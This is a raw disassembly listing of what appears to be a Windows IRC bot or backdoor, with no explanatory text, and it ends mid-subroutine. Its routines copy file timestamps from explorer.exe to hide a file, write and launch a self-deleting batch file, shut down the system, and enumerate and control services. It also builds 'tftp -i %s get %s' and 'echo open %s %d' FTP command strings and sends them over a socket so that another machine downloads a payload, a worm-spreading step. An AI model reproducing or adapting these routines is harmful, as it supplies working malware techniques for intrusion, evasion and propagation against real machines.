======================================= sub_415F56 proc near ; CODE XREF: sub_401CC1+1FFFp push esi push 0 call dword_4E0870 test eax, eax jz short loc_415F8D push 1 call dword_4E0890 mov esi, eax test esi, esi jz short loc_415F8D push edi push esi call dword_4F13FC ; GlobalLock push esi mov edi, eax call dword_4F13F8 ; GlobalUnlock call dword_4E08F0 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_415F8D: ; CODE XREF: sub_415F56+Bj ; sub_415F56+19j xor eax, eax pop esi retn sub_415F56 endp ; =============== S U B R O U T I N E ======================================= sub_415F91 proc near ; CODE XREF: sub_401CC1+6A8Dp arg_0 = dword ptr 4 push ebp push esi xor esi, esi push esi push offset aMirc_2 ; "mIRC" call dword_4E08AC mov ebp, eax cmp ebp, esi jz short loc_416011 push ebx push edi push offset aMirc_3 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4F1408 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_4F1404 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B740 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4E08F8 push esi push 1 push 4C9h push ebp call dword_4E08F8 push ebx call dword_4F1400 ; UnmapViewOfFile push edi call dword_4F1324 ; CloseHandle push 1 pop eax pop edi pop ebx jmp short loc_416013 ; --------------------------------------------------------------------------- loc_416011: ; CODE XREF: sub_415F91+14j xor eax, eax loc_416013: ; CODE XREF: sub_415F91+7Ej pop esi pop ebp retn sub_415F91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416016 proc near ; CODE XREF: sub_40141B+20Fp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4E0958 test eax, eax jz short loc_4160B5 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4F13A8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4160B5 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4F1410 ; GetFileTime push ebx mov ebx, dword_4F1324 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4160B5 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_4F140C ; SetFileTime push esi call ebx ; CloseHandle loc_4160B5: ; CODE XREF: sub_416016+2Aj ; sub_416016+51j ... pop edi pop esi pop ebx leave retn sub_416016 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_41B190 push 44h lea eax, [ebp-54h] push esi push eax call sub_41B190 push dword ptr [ebp+0Ch] lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+8] mov [ebp-24h], si push offset aSS_5 ; "%s %s" push 400h push eax call sub_41B910 add esp, 2Ch lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] call dword_4F1328 ; CreateProcessA neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= sub_416138 proc near ; CODE XREF: sub_401CC1+1339p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_417572 pop ecx pop ecx push 50005h push 6 call dword_4E07F0 neg eax sbb eax, eax neg eax retn sub_416138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41615A proc near ; CODE XREF: sub_401CC1+2291p ; sub_414A1D+472p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_43A090, esi push edi jz short loc_41617E cmp dword_4E096C, esi jnz short loc_41617E push esi call sub_401000 pop ecx loc_41617E: ; CODE XREF: sub_41615A+13j ; sub_41615A+1Bj call sub_40A9C6 lea eax, [ebp+var_764] push eax push 400h call dword_4F136C ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B740 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_4F13A8 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_4162DE lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B740 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_4F139C ; WriteFile push edi call dword_4F1324 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B190 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B190 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_4EEF08 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_4F1358 ; GetModuleHandleA push eax call dword_4F132C ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4F1354 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_416286 lea eax, [ebp+var_15C] push 80h push eax call dword_4F1350 ; SetFileAttributesA loc_416286: ; CODE XREF: sub_41615A+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B740 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_4F1414 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_4F1328 ; CreateProcessA loc_4162DE: ; CODE XREF: sub_41615A+72j pop edi pop esi leave retn sub_41615A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162E2 proc near ; CODE XREF: sub_401CC1+68A9p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4F1384 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_416378 push [ebp+arg_10] push [ebp+arg_C] call dword_4E082C push edi push eax call dword_4E0838 test eax, eax jz short loc_41636A push [ebp+arg_10] push offset dword_44F61C loc_416343: ; CODE XREF: sub_4162E2+94j lea eax, [ebp+var_294] push eax call sub_41B740 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 20h jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_41636A: ; CODE XREF: sub_4162E2+57j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44F638 jmp short loc_416343 ; --------------------------------------------------------------------------- loc_416378: ; CODE XREF: sub_4162E2+3Fj lea eax, [ebp+var_294] push offset unk_44F660 push eax call sub_41B740 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 1Ch loc_4163A2: ; CODE XREF: sub_4162E2+86j pop edi leave retn sub_4162E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-10h], 2 push eax call dword_4E08DC push dword ptr [ebp+0C4h] mov [ebp-0Ch], eax call dword_4E08A0 push edi push 1 push 2 mov [ebp-0Eh], ax call dword_4E091C mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+0C4h], esi jz loc_4164A8 lea eax, [ebp-10h] push 10h push eax push esi call dword_4E084C cmp eax, 0FFFFFFFFh jz loc_4164A8 mov ebx, 400h push edi lea eax, [ebp-5A0h] push ebx push eax push esi call dword_4E08B8 mov esi, offset byte_43A0E8 push esi push esi push dword ptr [ebp+8] call sub_40A019 pop ecx mov edi, 190h push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" lea eax, [ebp-1A0h] push edi push eax call sub_41B910 movzx eax, word ptr dword_4E05C8 add esp, 18h push esi push esi push eax push dword ptr [ebp+8] call sub_40A019 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1A0h] push edi push eax call sub_41B910 add esp, 1Ch lea eax, [ebp-1A0h] push 0 push eax call sub_418D00 pop ecx push eax lea eax, [ebp-1A0h] push eax push dword ptr [ebp+0C4h] call dword_4E08EC cmp eax, 0FFFFFFFFh jnz short loc_4164AC loc_4164A8: ; CODE XREF: .nsp0:004163FBj ; .nsp0:00416411j xor al, al jmp short loc_4164D0 ; --------------------------------------------------------------------------- loc_4164AC: ; CODE XREF: .nsp0:004164A6j push 0 lea eax, [ebp-5A0h] push ebx push eax push dword ptr [ebp+0C4h] call dword_4E08B8 push dword ptr [ebp+0C4h] call dword_4E0934 mov al, 1 loc_4164D0: ; CODE XREF: .nsp0:004164AAj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4164D5 proc near ; CODE XREF: sub_401CC1+4DC3p var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4F1384 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_41652B cmp [ebp+var_8C], 0 jnz short loc_416514 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_41652B leave retn ; --------------------------------------------------------------------------- loc_416514: ; CODE XREF: sub_4164D5+30j cmp [ebp+var_8C], 0Ah jz short loc_416526 cmp [ebp+var_8C], 5Ah jnz short loc_41652B loc_416526: ; CODE XREF: sub_4164D5+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41652B: ; CODE XREF: sub_4164D5+27j ; sub_4164D5+3Bj ... push esi push edi push offset aNetapi32_dll_0 ; "netapi32.dll" call dword_4F1374 ; LoadLibraryA mov esi, eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push esi call dword_4F1378 ; GetProcAddress push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E750 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E750 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E750 lea eax, [ebp+var_F8] push eax call sub_41E720 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; GetTickCount add esp, 3Ch mov edi, eax push esi call dword_4F1418 ; FreeLibrary mov eax, edi pop edi pop esi leave retn sub_4164D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165B5 proc near ; CODE XREF: sub_401317+F7p ; sub_40E1EC+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx call sub_41B850 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4374E0 call sub_41CEBC sub esi, eax mov eax, esi pop esi leave retn sub_4165B5 endp ; =============== S U B R O U T I N E ======================================= sub_4165F2 proc near ; CODE XREF: sub_401CC1+3D3Fp ; sub_401CC1+3DA0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_416657 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_44F738[esi] push edi push eax call sub_416679 add esp, 14h test eax, eax jnz short loc_41663A push edi push off_44F734[esi] mov esi, offset dword_4EF5CC push offset unk_44F7F8 push esi call sub_41B740 add esp, 10h jmp short loc_416674 ; --------------------------------------------------------------------------- loc_41663A: ; CODE XREF: sub_4165F2+2Aj push eax call sub_41671B push eax push edi mov esi, offset dword_4EF5CC push offset unk_44F814 push esi call sub_41B740 add esp, 14h jmp short loc_416674 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_4165F2+Cj lea eax, [eax+eax*2] mov esi, offset dword_4EF5CC push off_44F730[eax*4] push offset unk_44F840 push esi call sub_41B740 add esp, 0Ch loc_416674: ; CODE XREF: sub_4165F2+46j ; sub_4165F2+63j mov eax, esi pop edi pop esi retn sub_4165F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416679 proc near ; CODE XREF: sub_4165F2+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4E0894 mov edi, eax cmp edi, ebx jnz short loc_4166A0 call dword_4F1348 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_416715 ; --------------------------------------------------------------------------- loc_4166A0: ; CODE XREF: sub_416679+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4E078C mov esi, eax cmp esi, ebx jnz short loc_4166C0 call dword_4F1348 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41670D ; --------------------------------------------------------------------------- loc_4166C0: ; CODE XREF: sub_416679+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4166F3 cmp eax, 3 jz short loc_4166E4 jle short loc_416706 cmp eax, 6 jg short loc_416706 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4E07F8 jmp short loc_4166FA ; --------------------------------------------------------------------------- loc_4166E4: ; CODE XREF: sub_416679+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4E0794 jmp short loc_4166FA ; --------------------------------------------------------------------------- loc_4166F3: ; CODE XREF: sub_416679+4Dj push esi call dword_4E07FC loc_4166FA: ; CODE XREF: sub_416679+69j ; sub_416679+78j test eax, eax jnz short loc_416706 call dword_4F1348 ; RtlGetLastWin32Error mov ebx, eax loc_416706: ; CODE XREF: sub_416679+54j ; sub_416679+59j ... push esi call dword_4E07A8 loc_41670D: ; CODE XREF: sub_416679+45j push edi call dword_4E07A8 pop esi loc_416715: ; CODE XREF: sub_416679+25j mov eax, ebx pop edi pop ebx leave retn sub_416679 endp ; =============== S U B R O U T I N E ======================================= sub_41671B proc near ; CODE XREF: sub_4165F2+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_4167D0 jz loc_4167C9 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_416793 jz short loc_416789 mov ecx, eax sub ecx, 3 jz short loc_41677F dec ecx dec ecx jz short loc_416775 dec ecx jz short loc_41676B sub ecx, 51h jz short loc_416761 sub ecx, 24h jnz loc_416846 ; default ; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_416838 ; --------------------------------------------------------------------------- loc_416761: ; CODE XREF: sub_41671B+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_416838 ; --------------------------------------------------------------------------- loc_41676B: ; CODE XREF: sub_41671B+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_416838 ; --------------------------------------------------------------------------- loc_416775: ; CODE XREF: sub_41671B+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_416838 ; --------------------------------------------------------------------------- loc_41677F: ; CODE XREF: sub_41671B+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_416838 ; --------------------------------------------------------------------------- loc_416789: ; CODE XREF: sub_41671B+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_416838 ; --------------------------------------------------------------------------- loc_416793: ; CODE XREF: sub_41671B+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_4167C2 dec ecx jz short loc_4167BB dec ecx jz short loc_4167B4 dec ecx jnz loc_416846 ; default ; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_416838 ; --------------------------------------------------------------------------- loc_4167B4: ; CODE XREF: sub_41671B+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_416838 ; --------------------------------------------------------------------------- loc_4167BB: ; CODE XREF: sub_41671B+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_416838 ; --------------------------------------------------------------------------- loc_4167C2: ; CODE XREF: sub_41671B+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_416838 ; --------------------------------------------------------------------------- loc_4167C9: ; CODE XREF: sub_41671B+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_416838 ; --------------------------------------------------------------------------- loc_4167D0: ; CODE XREF: sub_41671B+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_416846 ; default ; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16 jz short loc_416833 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_416846 ; default ; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_416887[ecx] jmp off_41685F[ecx*4] ; switch jump loc_4167F4: ; DATA XREF: .nsp0:off_41685Fo push offset aTheSpecifiedDa ; jumptable 004167ED case 7 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_4167FB: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheServiceDepe ; jumptable 004167ED case 17 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_416802: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheServiceDe_0 ; jumptable 004167ED case 10 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_416809: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheServiceHasB ; jumptable 004167ED case 0 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_416810: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheSpecified_0 ; jumptable 004167ED case 2 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_416817: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheServiceCoul ; jumptable 004167ED case 11 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_41681E: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheServiceHa_0 ; jumptable 004167ED case 14 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_416825: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheRequested_1 ; jumptable 004167ED case 3 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_41682C: ; CODE XREF: sub_41671B+D2j ; DATA XREF: .nsp0:off_41685Fo push offset aTheServiceHasN ; jumptable 004167ED case 4 jmp short loc_416838 ; --------------------------------------------------------------------------- loc_416833: ; CODE XREF: sub_41671B+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_416838: ; CODE XREF: sub_41671B+41j ; sub_41671B+4Bj ... push offset dword_4EEF0C call sub_41B740 pop ecx pop ecx jmp short loc_416859 ; --------------------------------------------------------------------------- loc_416846: ; CODE XREF: sub_41671B+36j ; sub_41671B+89j ... push eax ; default ; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4EEF0C call sub_41B740 add esp, 0Ch loc_416859: ; CODE XREF: sub_41671B+129j mov eax, offset dword_4EEF0C retn sub_41671B endp ; --------------------------------------------------------------------------- off_41685F dd offset loc_416809 ; DATA XREF: sub_41671B+D2r dd offset loc_416810 ; jump table for switch statement dd offset loc_416825 dd offset loc_41682C dd offset loc_4167F4 dd offset loc_416802 dd offset loc_416817 dd offset loc_41681E dd offset loc_4167FB dd offset loc_416846 byte_416887 db 0, 9, 1, 2 ; DATA XREF: sub_41671B+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416899 proc near ; CODE XREF: sub_401CC1+3D6Ap var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4E0894 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_4168D1: ; CODE XREF: sub_416899+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4E0864 test eax, eax jnz short loc_41690B call dword_4F1348 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_4169BF loc_41690B: ; CODE XREF: sub_416899+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_4169B6 lea esi, [ebp+var_188] loc_41691C: ; CODE XREF: sub_416899+117j mov eax, [esi+8] dec eax jz short loc_416965 dec eax jz short loc_41695E dec eax jz short loc_416957 dec eax jz short loc_416950 dec eax jz short loc_416949 dec eax jz short loc_416942 dec eax jz short loc_41693B push offset aUnknown_2 ; " Unknown" jmp short loc_41696A ; --------------------------------------------------------------------------- loc_41693B: ; CODE XREF: sub_416899+99j push offset aPaused_0 ; " Paused" jmp short loc_41696A ; --------------------------------------------------------------------------- loc_416942: ; CODE XREF: sub_416899+96j push offset aPausing ; " Pausing" jmp short loc_41696A ; --------------------------------------------------------------------------- loc_416949: ; CODE XREF: sub_416899+93j push offset aContinuing ; " Continuing" jmp short loc_41696A ; --------------------------------------------------------------------------- loc_416950: ; CODE XREF: sub_416899+90j push offset aRunning_0 ; " Running" jmp short loc_41696A ; --------------------------------------------------------------------------- loc_416957: ; CODE XREF: sub_416899+8Dj push offset aStoping ; " Stoping" jmp short loc_41696A ; --------------------------------------------------------------------------- loc_41695E: ; CODE XREF: sub_416899+8Aj push offset aStarting ; " Starting" jmp short loc_41696A ; --------------------------------------------------------------------------- loc_416965: ; CODE XREF: sub_416899+87j push offset aStopped ; " Stopped" loc_41696A: ; CODE XREF: sub_416899+A0j ; sub_416899+A7j ... lea eax, [ebp+var_20] push eax call sub_41B740 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_1 ; "%s: %s (%s)" push eax call sub_41B740 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_41691C loc_4169B6: ; CODE XREF: sub_416899+77j cmp [ebp+var_8], ebx jnz loc_4168D1 loc_4169BF: ; CODE XREF: sub_416899+6Cj push [ebp+var_C] call dword_4E07A8 xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_416899 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169D6 proc near ; CODE XREF: sub_401CC1+3E43p ; sub_401CC1+3E5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_416A6F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_4169FF dec eax jnz short loc_416A4F push edi push 0 call sub_416BA8 pop ecx pop ecx jmp short loc_416A4B ; --------------------------------------------------------------------------- loc_4169FF: ; CODE XREF: sub_4169D6+18j cmp [ebp+arg_8], 0 jnz short loc_416A3D push 24h push edi call sub_41C400 pop ecx test eax, eax pop ecx jnz short loc_416A3D push 57h pop eax loc_416A16: ; CODE XREF: sub_4169D6+77j push eax call sub_417380 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4EF1C8 push off_44F730[eax*4] push offset unk_44FDB8 push esi call sub_41B740 add esp, 18h jmp short loc_416A8F ; --------------------------------------------------------------------------- loc_416A3D: ; CODE XREF: sub_4169D6+2Dj ; sub_4169D6+3Bj push [ebp+arg_8] push edi push 0 call sub_416AFC add esp, 0Ch loc_416A4B: ; CODE XREF: sub_4169D6+27j test eax, eax jnz short loc_416A16 loc_416A4F: ; CODE XREF: sub_4169D6+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4EF1C8 push off_44F734[eax*4] push offset dword_44FD9C push esi call sub_41B740 add esp, 10h jmp short loc_416A8F ; --------------------------------------------------------------------------- loc_416A6F: ; CODE XREF: sub_4169D6+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4EF1C8 lea eax, [eax+eax*2] push off_44F730[eax*4] push offset unk_44FDE4 push esi call sub_41B740 add esp, 0Ch loc_416A8F: ; CODE XREF: sub_4169D6+65j ; sub_4169D6+97j mov eax, esi pop edi pop esi pop ebp retn sub_4169D6 endp ; =============== S U B R O U T I N E ======================================= sub_416A95 proc near ; CODE XREF: sub_417DB1+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_416AA2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_416AA2: ; CODE XREF: sub_416A95+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_4F141C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4EF3C8, 1 mov ebp, eax jnz short loc_416ADF or byte_4EF3C8, 1 lea eax, [ebp+1] push eax call sub_41D910 pop ecx mov dword_4EF168, eax loc_416ADF: ; CODE XREF: sub_416A95+32j push esi push esi push ebp push dword_4EF168 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4EF168 pop edi pop ebp pop ebx pop esi retn sub_416A95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AFC proc near ; CODE XREF: sub_4169D6+6Dp ; sub_4180D5+184p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_416B67 push [ebp+arg_4] mov edi, eax call sub_416B67 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C400 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_416B67 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4E07A4 pop edi leave retn sub_416AFC endp ; =============== S U B R O U T I N E ======================================= sub_416B67 proc near ; CODE XREF: sub_416AFC+Ap ; sub_416AFC+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_416B74 pop ebp retn ; --------------------------------------------------------------------------- loc_416B74: ; CODE XREF: sub_416B67+9j push ebx push esi mov esi, dword_4F1420 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D910 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_416B67 endp ; =============== S U B R O U T I N E ======================================= sub_416BA8 proc near ; CODE XREF: sub_4169D6+20p ; 